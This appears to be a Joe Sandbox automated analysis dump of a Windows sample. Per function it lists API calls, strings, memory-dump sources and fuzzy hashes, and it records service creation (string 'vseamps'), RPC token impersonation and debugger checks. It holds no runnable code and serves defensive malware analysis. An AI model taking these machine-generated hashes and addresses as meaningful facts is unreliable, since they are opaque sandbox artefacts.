GetProcAddress.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F05E
GetProcAddress.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F086
GetProcAddress.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F0A5
GetProcAddress.KERNEL32 ref: 000000014000F0F3
GetProcAddress.KERNEL32 ref: 000000014000F117

Part of subcall function 00000001400073E0: LdrLoadDll.NTDLL ref: 00000001400073E2

Strings

USER32.DLL, xrefs: 000000014000F03B
GetUserObjectInformationA, xrefs: 000000014000F0E9
MessageBoxA, xrefs: 000000014000F054
GetActiveWindow, xrefs: 000000014000F075
GetLastActivePopup, xrefs: 000000014000F094
GetProcessWindowStation, xrefs: 000000014000F10D

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: AddressProc$Load$Library
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 3981747205-232180764
Opcode ID: a4a8166f7fb3539f2a033069c8db60d0a751c3badd5dc7e485aee673dfe3cd32
Instruction ID: 2f5902004a3f6de811dc5f380475ae1a3efdd32c0186a6d00da0f9ae6c345c7d
Opcode Fuzzy Hash: a4a8166f7fb3539f2a033069c8db60d0a751c3badd5dc7e485aee673dfe3cd32
Instruction Fuzzy Hash: FE515CB561674181FE66EB63B850BFA2290BB8D7D0F484025BF4E4BBB1EF3DC445A210

Function 00000001400022C0 Relevance: 15.1, APIs: 10, Instructions: 96threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 0000000140002315
CreateEventW.KERNEL32 ref: 0000000140002326
CreateEventW.KERNEL32 ref: 0000000140002340
CreateEventW.KERNEL32 ref: 000000014000235E
RpcImpersonateClient.RPCRT4 ref: 0000000140002372
GetCurrentThread.KERNEL32 ref: 0000000140002390
OpenThreadToken.ADVAPI32 ref: 00000001400023A7
RpcRevertToSelfEx.RPCRT4 ref: 0000000140002402

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CreateEvent$Thread$ClientCriticalCurrentImpersonateInitializeOpenRevertSectionSelfToken
String ID:
API String ID: 4284112124-0
Opcode ID: edd1c8558eeb60cdd671b70c13388f4905a0e10de3bd345b1359afa696ffe28d
Instruction ID: d1cc2c0b88e239984ef66edc10b99dba483783d79de04edfe0f0364e5ac1fb7c
Opcode Fuzzy Hash: edd1c8558eeb60cdd671b70c13388f4905a0e10de3bd345b1359afa696ffe28d
Instruction Fuzzy Hash: 65415D72604B408AE351CF66F88479EB7A0F78CB94F508129EB8A47B74CF79D595CB40

Function 0000000140001430 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52serviceCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 000000014000145E
OpenSCManagerW.ADVAPI32 ref: 000000014000146C
GetLastError.KERNEL32 ref: 000000014000147A
CreateServiceW.ADVAPI32 ref: 00000001400014D4
CloseServiceHandle.ADVAPI32 ref: 00000001400014E2
CloseServiceHandle.ADVAPI32 ref: 00000001400014F5

Strings

vseamps, xrefs: 00000001400014AD, 00000001400014B4

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Service$CloseHandle$CreateErrorFileLastManagerModuleNameOpen
String ID: vseamps
API String ID: 3693165506-3944098904
Opcode ID: 37866f258d51cd6cd84815c45d3eaefe281d6d9a8e40d6c1e65e6d09f5d7cdba
Instruction ID: 61898eac7960aa5413d410c65d13376abce5a62f28ec8a6c68938921ced9de71
Opcode Fuzzy Hash: 37866f258d51cd6cd84815c45d3eaefe281d6d9a8e40d6c1e65e6d09f5d7cdba
Instruction Fuzzy Hash: F321FCB1204B8086EB56CF66F88439A73A4F78C784F544129E7894B774DF7DC149CB00

Function 0000000140009300 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,?,?,00000000,00000001,000000014000961C,?,?,?,?,?,?,0000000140009131,?,?,00000001), ref: 00000001400093CF

Strings

<program name unknown>, xrefs: 00000001400093D9
..., xrefs: 0000000140009431
Runtime Error!Program: , xrefs: 000000014000938D
Microsoft Visual C++ Runtime Library, xrefs: 00000001400094B4

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: FileModuleName
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 514040917-4022980321
Opcode ID: 1d01bebd6d090e025827d9f03818fc87fa6a91df27b235dcc59e95ab31d19661
Instruction ID: eb4045a5a240d2828a775daba1198261b01968dd91f8e387fbd6cb4ec0284cf4
Opcode Fuzzy Hash: 1d01bebd6d090e025827d9f03818fc87fa6a91df27b235dcc59e95ab31d19661
Instruction Fuzzy Hash: F851EFB131464042FB26DB2BB851BEA2391A78D7E0F484225BF2947AF2DF39C642C304

Function 000000014000BB70 Relevance: 12.3, APIs: 8, Instructions: 256COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32 ref: 000000014000BBDC
GetLastError.KERNEL32 ref: 000000014000BBEC
LCMapStringW.KERNEL32 ref: 000000014000BC5F
WideCharToMultiByte.KERNEL32 ref: 000000014000BCC8
WideCharToMultiByte.KERNEL32 ref: 000000014000BD80
LCMapStringA.KERNEL32 ref: 000000014000BDA3

Part of subcall function 00000001400090F0: HeapAlloc.KERNEL32(?,?,00000001,0000000140008328,?,?,00000001,000000014000B350,?,?,?,000000014000B423,?,?,?,000000014000FC9E), ref: 0000000140009151

LCMapStringA.KERNEL32 ref: 000000014000BE48
MultiByteToWideChar.KERNEL32 ref: 000000014000BEC8

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: String$ByteCharMultiWide$AllocErrorHeapLast
String ID:
API String ID: 2057259594-0
Opcode ID: d3ef643e943a21760fc28678b116a7f08da1d9f04a09311d9013e3bfd6c4d4e3
Instruction ID: f9b9a5bb90e2e08b647a9eb75fc4ff4e18af91537db3c322e1916602633d995e
Opcode Fuzzy Hash: d3ef643e943a21760fc28678b116a7f08da1d9f04a09311d9013e3bfd6c4d4e3
Instruction Fuzzy Hash: B6A16AB22046808AEB66DF27E8407EA77E5F74CBE8F144625FB6947BE4DB78C5408700

Function 0000000140005A70 Relevance: 12.2, APIs: 8, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 0000000140005A8B
GetProcessHeap.KERNEL32 ref: 0000000140005A92
HeapAlloc.KERNEL32 ref: 0000000140005AA3
GetVersionExA.KERNEL32 ref: 0000000140005AE6
GetProcessHeap.KERNEL32 ref: 0000000140005AF0
HeapFree.KERNEL32 ref: 0000000140005AFE
GetProcessHeap.KERNEL32 ref: 0000000140005B22
HeapFree.KERNEL32 ref: 0000000140005B30

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$Process$Free$AllocInfoStartupVersion
String ID:
API String ID: 3103264659-0
Opcode ID: b926c3abaa2c479ec326760b90e5a1fd11221ebaffc6337adf83b77cd4a46ae1
Instruction ID: 8fdcf1cc106887877eb8bf0912cd84dfc65bead55acac366e092854278e1a3ce
Opcode Fuzzy Hash: b926c3abaa2c479ec326760b90e5a1fd11221ebaffc6337adf83b77cd4a46ae1
Instruction Fuzzy Hash: 0F7167B1604A418AF767EBA3B8557EA2291BB8D7C5F084039FB45472F2EF39C440C741

Function 00007FFBC3202630 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFBC320264C
RtlCaptureContext.KERNEL32 ref: 00007FFBC3202679
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFBC3202693
RtlVirtualUnwind.KERNEL32 ref: 00007FFBC32026D4
IsDebuggerPresent.KERNEL32 ref: 00007FFBC3202728
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFBC3202745
UnhandledExceptionFilter.KERNEL32 ref: 00007FFBC3202750

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 710f6283529bc39a5878960356047a6e461f095b9b13c17159f2665477d47395
Instruction ID: c09f5866895955077d0dde4ac92d8145ab44faf40904bb5ab03130ef3490085c
Opcode Fuzzy Hash: 710f6283529bc39a5878960356047a6e461f095b9b13c17159f2665477d47395
Instruction Fuzzy Hash: 81313EB2609B8186EB609F70E840BEE7375FB94744F88413ADA4E5BB94DF38D648C710

Function 0000000140007C91 Relevance: 9.1, APIs: 6, Instructions: 137COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 0000000140007D66
IsDebuggerPresent.KERNEL32 ref: 0000000140007DAA
SetUnhandledExceptionFilter.KERNEL32 ref: 0000000140007DB4
UnhandledExceptionFilter.KERNEL32 ref: 0000000140007DBF
GetCurrentProcess.KERNEL32 ref: 0000000140007DD5
TerminateProcess.KERNEL32 ref: 0000000140007DE3

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerPresentTerminate
String ID:
API String ID: 1269745586-0
Opcode ID: 971e421c69f8e6a9c7be80a9fd1684b11f1d9217f6c56614116cebe2abaa4248
Instruction ID: e2ab3ef72b7f240c54b21dbf897bf6525f512fe4427dd1c0d247b710ac710d4c
Opcode Fuzzy Hash: 971e421c69f8e6a9c7be80a9fd1684b11f1d9217f6c56614116cebe2abaa4248
Instruction Fuzzy Hash: 53115972608B8186D7129F62F8407CE77B0FB89B91F854122EB8A43765EF3DC845CB00

Function 00007FFBC32076E0 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FFBC3207759
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFBC3207771
RtlVirtualUnwind.KERNEL32 ref: 00007FFBC32077AC
IsDebuggerPresent.KERNEL32 ref: 00007FFBC32077E5
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFBC32077EF
UnhandledExceptionFilter.KERNEL32 ref: 00007FFBC32077FA

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 5eef0cc7783b0be87f0727cc0123e63361c6ac4350bb89c20972030a757485fe
Instruction ID: 4afa9733bd0a601e8ff2b8ecf524a7740c782461be4c4e5144c9758b0d8b4531
Opcode Fuzzy Hash: 5eef0cc7783b0be87f0727cc0123e63361c6ac4350bb89c20972030a757485fe
Instruction Fuzzy Hash: 35318F72618B8186DF60DF34E840AAE73A4FB88794F980136EA8D57B55DF3CD549CB00

Function 000000014000A370 Relevance: 7.5, APIs: 5, Instructions: 41timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000000014000A3AF
GetCurrentProcessId.KERNEL32 ref: 000000014000A3BA
GetCurrentThreadId.KERNEL32 ref: 000000014000A3C6
GetTickCount.KERNEL32 ref: 000000014000A3D2
QueryPerformanceCounter.KERNEL32 ref: 000000014000A3E3

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 348833bf0fd47251ec8459b694c57c39dac6eb63685dc4ebaa15df7501b8973f
Instruction ID: 72e860a1e5610cf2f60718b33953b9e9cfa3de8eae9ff42976e828aecb981d5d
Opcode Fuzzy Hash: 348833bf0fd47251ec8459b694c57c39dac6eb63685dc4ebaa15df7501b8973f
Instruction Fuzzy Hash: 4101F775255B4082EB928F26F9403957360F74EBA0F456220FFAE4B7B4DA3DCA958700

Function 0000000140004630 Relevance: 5.1, APIs: 4, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,00000001400047BB,?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 00000001400046B0
HeapReAlloc.KERNEL32(?,?,?,00000001400047BB,?,?,?,0000000140003E7A,?,?,?,?,00000000,00000001400022A6), ref: 00000001400046C1

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: e1b55434e6231e5ce6780f684ad3576ffb26ff33b9fae7a8d56a49fd816118fb
Instruction ID: 02c5a1d02253778f48d8bcd65850d79aa5baad65f26a42f950a3123f4edab52d
Opcode Fuzzy Hash: e1b55434e6231e5ce6780f684ad3576ffb26ff33b9fae7a8d56a49fd816118fb
Instruction Fuzzy Hash: CB31D1B2715A8082EB06CF57F44039863A0F74DBC4F584025EF5D57B69EB39C8A28704

Function 00000001400106B0 Relevance: 4.5, APIs: 3, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00000001400106EF
SetUnhandledExceptionFilter.KERNEL32 ref: 0000000140010735
UnhandledExceptionFilter.KERNEL32 ref: 0000000140010740

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContext
String ID:
API String ID: 2202868296-0
Opcode ID: 905f91afdcc57dbacad6504ae7f65679640b92e152865c9b61e81d303733290d
Instruction ID: a6869a7b9d4117274e99734abe304e52ce4a6a571683f9898e15e7d65764808a
Opcode Fuzzy Hash: 905f91afdcc57dbacad6504ae7f65679640b92e152865c9b61e81d303733290d
Instruction Fuzzy Hash: 44014C31218A8482E7269B62F4543DA62A0FBCD385F440129B78E0B6F6DF3DC544CB01

Function 00007FFBC3210248 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FFBC3210497
RaiseException.KERNEL32 ref: 00007FFBC32104A8

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 242015c6cea6594ab8d644b6eea7da2ef8062d64434110bbd4fb3fd5cf8f1a15
Instruction ID: 6fcbd9363a8492b1145fe2c23ead6b395b885e5e36e3b060233b142135708869
Opcode Fuzzy Hash: 242015c6cea6594ab8d644b6eea7da2ef8062d64434110bbd4fb3fd5cf8f1a15
Instruction Fuzzy Hash: 80B17CB3600B898BEB15CF39C5867ADBBA0F744B48F58C921DA5D877A8CB39D851D700

Function 00000001400103D0 Relevance: 3.2, APIs: 2, Instructions: 183COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00000001400105C2
GetLastError.KERNEL32 ref: 00000001400105ED

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: 52eb8cb33472843dab3d23723d723ebc9e780f32240a0bf22a1f45fa5c529dea
Instruction ID: 2a1840496c7657cf23b6901bcaaf21815035fe120b0a860a82176d8039cbaff9
Opcode Fuzzy Hash: 52eb8cb33472843dab3d23723d723ebc9e780f32240a0bf22a1f45fa5c529dea
Instruction Fuzzy Hash: C871DF72A04AA086F7A3DF12E441BDA72A1F78CBD4F148121FF880B7A5DB798851CB10

Function 0000000140010CF0 Relevance: 3.1, APIs: 2, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a23616b521790ba98c8a4ca650accd459689c226ef9c151115ac5421c5afe981
Instruction ID: 31705e6bd3fe747407dbe92e60a9b5f63bdbefd7c066999fadf2412e4a74ef82
Opcode Fuzzy Hash: a23616b521790ba98c8a4ca650accd459689c226ef9c151115ac5421c5afe981
Instruction Fuzzy Hash: BD312B3260066442F723AF77F845BDE7651AB987E0F254224BB690B7F2CFB9C4418300

Function 00007FFBC320A1B8 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2421075266.00007FFBC3201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFBC3200000, based on PE: true

Associated: 00000006.00000002.2421060682.00007FFBC3200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421093804.00007FFBC3212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421110819.00007FFBC321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2421125645.00007FFBC321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffbc3200000_O8xg2t.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a2880f174246bb62df44fff46a4d3d73a1dc8eca39573d4fb70521656c567db
Instruction ID: 752b30ee6a74ca8a5fb752e5dad1cfac5da2586f03e9423cee0e9e56ae9a8e29
Opcode Fuzzy Hash: 4a2880f174246bb62df44fff46a4d3d73a1dc8eca39573d4fb70521656c567db
Instruction Fuzzy Hash: AF51C6B2B0868185EF20EF76E8449AF7BA4BB44B94F984135EE5D3BA95CE3CD405C700

Function 0000000140011270 Relevance: 1.6, APIs: 1, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlLookupFunctionEntry.KERNEL32 ref: 00000001400112F1

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID: EntryFunctionLookup
String ID:
API String ID: 3852435196-0
Opcode ID: 41b57387ab27fe441920d3618a9a3fade831f152bc6ed6de484845005a0f7214
Instruction ID: 0a16dca171e58903ec1b218c91cdb1b04bf095347935d32e98aab42d926b4c07
Opcode Fuzzy Hash: 41b57387ab27fe441920d3618a9a3fade831f152bc6ed6de484845005a0f7214
Instruction Fuzzy Hash: 7A316D33700A5482DB15CF16F484BA9B724F788BE8F868102EF2D47B99EB35D592C704

Function 000000014000DDD9 Relevance: 1.6, Strings: 1, Instructions: 301COMMON

Download Yara Rule

Strings

, xrefs: 000000014000E388

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_O8xg2t.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 4dbe44af600c182fb51974a0b490eba2bf44001a013ded284afa934d15dcb5c0
Instruction ID: 9b910ad21b0c4e6c2a4c619a0863cbecb71c4e07d0bd79d978466706db7fd7a1
Opcode Fuzzy Hash: 4dbe44af600c182fb51974a0b490eba2bf44001a013ded284afa934d15dcb5c0
Instruction Fuzzy Hash: 2FD1DEF25087C486F7A2DE16B5083AABAA0F7593E4F240115FF9527AF5E779C884CB40

Function 000000014000F370 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32 ref: 000000014000F398

Memory Dump Source

Source File: 00000006.00000002.2420993655.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2420978907.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421012872.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421028898.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2421044286.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

